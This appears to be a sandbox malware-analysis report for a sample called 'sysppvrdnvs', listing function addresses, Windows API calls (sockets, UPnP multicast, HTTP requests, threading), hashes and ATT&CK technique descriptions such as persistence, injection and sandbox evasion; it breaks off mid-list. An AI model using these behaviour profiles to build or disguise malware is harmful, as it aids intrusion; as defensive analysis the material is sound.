Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID:
API String ID: 442028454-0
Opcode ID: f5b45801421cf4693db4a952f6c7f3d93a7964b949aee7b1e37d5bd3e27ea16a
Instruction ID: a0ca425d267a8141d5e1d1f6c90da30668f0d4feb664184cc2dbb6b4fe126232
Opcode Fuzzy Hash: f5b45801421cf4693db4a952f6c7f3d93a7964b949aee7b1e37d5bd3e27ea16a
Instruction Fuzzy Hash: 93312BB4A00208EBCB14DF94DC45FAEB775FB88304F208969E51567390D775AA41CF99

Function 00409440 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040944E
_allshl.NTDLL ref: 0040945D
_allshl.NTDLL ref: 0040946C
_allshl.NTDLL ref: 0040947B
_allshl.NTDLL ref: 0040948A

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction ID: d897fcd8a6e9f4a7bfe0dcf07208541f34cf8f45c30d72ee7b1e381ef02b65f1
Opcode Fuzzy Hash: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction Fuzzy Hash: D2F03672D015289B9710FEEF84424CAFBE59F89354B21C176F818E3360E6709E0946F1

Function 00401330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

Part of subcall function 0040AB60: HeapFree.KERNEL32(?,00000000,00402612,?,00402612,?), ref: 0040ABBB

Strings

pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: b5e20e1ff81c8238d4906aefd24b36edb0459e4a4963a0916b72258a76a9c2c1
Instruction ID: d5c9189d357da9e52bb83819b3173fb4210b6dfc4c93b70417a9898bc2e8bd9b
Opcode Fuzzy Hash: b5e20e1ff81c8238d4906aefd24b36edb0459e4a4963a0916b72258a76a9c2c1
Instruction Fuzzy Hash: 3D0186765003109BCB20AF66ECC4E9B7779AF48711B044679FD056B396C738E85087A9

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: df0982d8961dfa7a6cd0b7929aac86f273bc3c16a843d5198fc6f9dd533ca4c4
Instruction ID: daf299aa3b87b71fb70ff151311bbfa052327c8c190f043936f27822c7d74034
Opcode Fuzzy Hash: df0982d8961dfa7a6cd0b7929aac86f273bc3c16a843d5198fc6f9dd533ca4c4
Instruction Fuzzy Hash: 1621C3B1504301AFD304DF65DC84A6BB7E9EF88314F004A3EF559A6290E774D94887EA

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction ID: 923efa3f85c100d8dcf87aa4bb405070ff806fabc372267044aefe38fa55a991
Opcode Fuzzy Hash: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction Fuzzy Hash: B72131715083119BC200DF55D844D6BB7E8BFCCB54F044A2DF598A3291D774EA49CBAA

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,004021A5,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,004021A5,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction ID: 470b9b0004fc9485880b3b0232d8394a6163a25caab740c915041083b8486df8
Opcode Fuzzy Hash: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction Fuzzy Hash: 8811AD72148305AFD310CF65EC84AEBB7ECEB88710F40092EF945D2150E6B9E949A7B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction ID: 56798eeddd779857b304cdb020dc52eae5646efd672cabe94dca1e5c1b4e91c2
Opcode Fuzzy Hash: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction Fuzzy Hash: 90014B712483046EE7209B96DC88F9B77A8EBC8711F408429F608DA2D0D7B5A9459B7A

Function 0040DE90 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040DEA9
CloseHandle.KERNEL32(?), ref: 0040DED8
LeaveCriticalSection.KERNEL32(?), ref: 0040DEE7
DeleteCriticalSection.KERNEL32(?), ref: 0040DEF4

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: bb7e0bdf7f07b64480a2601e76dd0e203c57d6389b493651e08ccb706d318709
Instruction ID: ac11750a047aba6f79e7b8cc85f80e728fdbf261864cbbb5073f4aff0768140e
Opcode Fuzzy Hash: bb7e0bdf7f07b64480a2601e76dd0e203c57d6389b493651e08ccb706d318709
Instruction Fuzzy Hash: 65115E74D00208EBDB08DF94D984A9DBB75FF48309F1081A9E806AB341D734EE94DB89

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 3a256af2c019b276b8838bcc1186c61ecce618c98c01d702573358750c80b1c1
Instruction ID: dfa7cd44099aa032f197b32b6ae0ce93fcebf173881def012ca395fa41330849
Opcode Fuzzy Hash: 3a256af2c019b276b8838bcc1186c61ecce618c98c01d702573358750c80b1c1
Instruction Fuzzy Hash: BD01F7356423049FC3209F26EC44ADB77F8AF49712B04443EE50693650DB34F545DB28

Function 00407390 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,004083D7), ref: 00407398
SysAllocString.OLEAUT32(004161D0), ref: 004073A3
CoUninitialize.OLE32 ref: 004073C8

Part of subcall function 004073E0: SysFreeString.OLEAUT32(00000000), ref: 004075F8

SysFreeString.OLEAUT32(00000000), ref: 004073C2

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction ID: 94d3ecd3e534f0c2973a063d63be5db40503c7f445082467247c405133df6831
Opcode Fuzzy Hash: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction Fuzzy Hash: FEE01275944208FBD7049FA0ED0EB9D77649B04341F1041A5FD05A22A1DAF56E80D755

Function 004073E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407670: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407690

SysFreeString.OLEAUT32(00000000), ref: 004075F8

Strings

Microsoft Corporation, xrefs: 00407566

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 803bccba2cddfb0e8a4aae8b96d6d08667bbe6654a4f0d67ac19fa841d2eca73
Instruction ID: e42f15a5a8f3a5930d9f1f6311551bcb6c6e46ad7cdc057207f56e8781896ff9
Opcode Fuzzy Hash: 803bccba2cddfb0e8a4aae8b96d6d08667bbe6654a4f0d67ac19fa841d2eca73
Instruction Fuzzy Hash: 5191FB75E0450AAFCB14DB98CC94EAFB7B5BF48300F208169E505B73A0D735AE42CB66

Function 0040E400 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E640: memset.NTDLL ref: 0040E668
Part of subcall function 0040E640: InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
Part of subcall function 0040E640: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
Part of subcall function 0040E640: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
Part of subcall function 0040E640: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
Part of subcall function 0040E640: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
Part of subcall function 0040E640: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
Part of subcall function 0040E640: InternetCloseHandle.WININET(00000000), ref: 0040E837

Part of subcall function 0040E530: SysAllocString.OLEAUT32(00000000), ref: 0040E55E
Part of subcall function 0040E530: CoCreateInstance.OLE32(00413000,00000000,00004401,00412FF0,00000000), ref: 0040E586
Part of subcall function 0040E530: SysFreeString.OLEAUT32(00000000), ref: 0040E621

SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

%S%S, xrefs: 0040E4C6

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 20876e0eb685dac13c64e0264db20ecd2e25c5e2071ea80cc012e61abc239ccc
Instruction ID: e5c4592a6bf7e21b90caaa4e382eb9027ff93744cff569d410d2f086dfa1b48d
Opcode Fuzzy Hash: 20876e0eb685dac13c64e0264db20ecd2e25c5e2071ea80cc012e61abc239ccc
Instruction Fuzzy Hash: 41415CB5D00209AFCB04DFE5C885AEFB7B5BF48304F104929E605B7390E738AA41CBA1

Function 0040E0C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,004083D2), ref: 0040E0CA

Part of subcall function 0040E190: socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
Part of subcall function 0040E190: htons.WS2_32(0000076C), ref: 0040E1E0
Part of subcall function 0040E190: inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
Part of subcall function 0040E190: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D
Part of subcall function 0040E190: bind.WS2_32(000000FF,?,00000010), ref: 0040E243
Part of subcall function 0040E190: lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
Part of subcall function 0040E190: sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
Part of subcall function 0040E190: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

UDP, xrefs: 0040E158
TCP, xrefs: 0040E13B

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction ID: 4536849a39b1ff6f82dd019fff268beff13b49d9c24eb1714a693627677867a5
Opcode Fuzzy Hash: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction Fuzzy Hash: C511B4B4E00208EBDB00EFD6DC45BAE7375AB44708F10896AE5047B2C2D6799E21CB89

Function 00405EF0 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415B88,?,00000000,?), ref: 00405EFF
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F3E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405FB3
LeaveCriticalSection.KERNEL32(00415B88), ref: 00405FD0

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 6f0f4f80585b29744b6880eeb75b2d3a88a0070be33d566f9884971b99258328
Instruction ID: 31cd86352096c342a95fcbe165c6b10336903156d0058c686e7ee331cda8bfc5
Opcode Fuzzy Hash: 6f0f4f80585b29744b6880eeb75b2d3a88a0070be33d566f9884971b99258328
Instruction Fuzzy Hash: 08218D35D04609EFDB04DB94D885BDEBB71EB44304F1481BAE8096B380D37CA985CF8A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
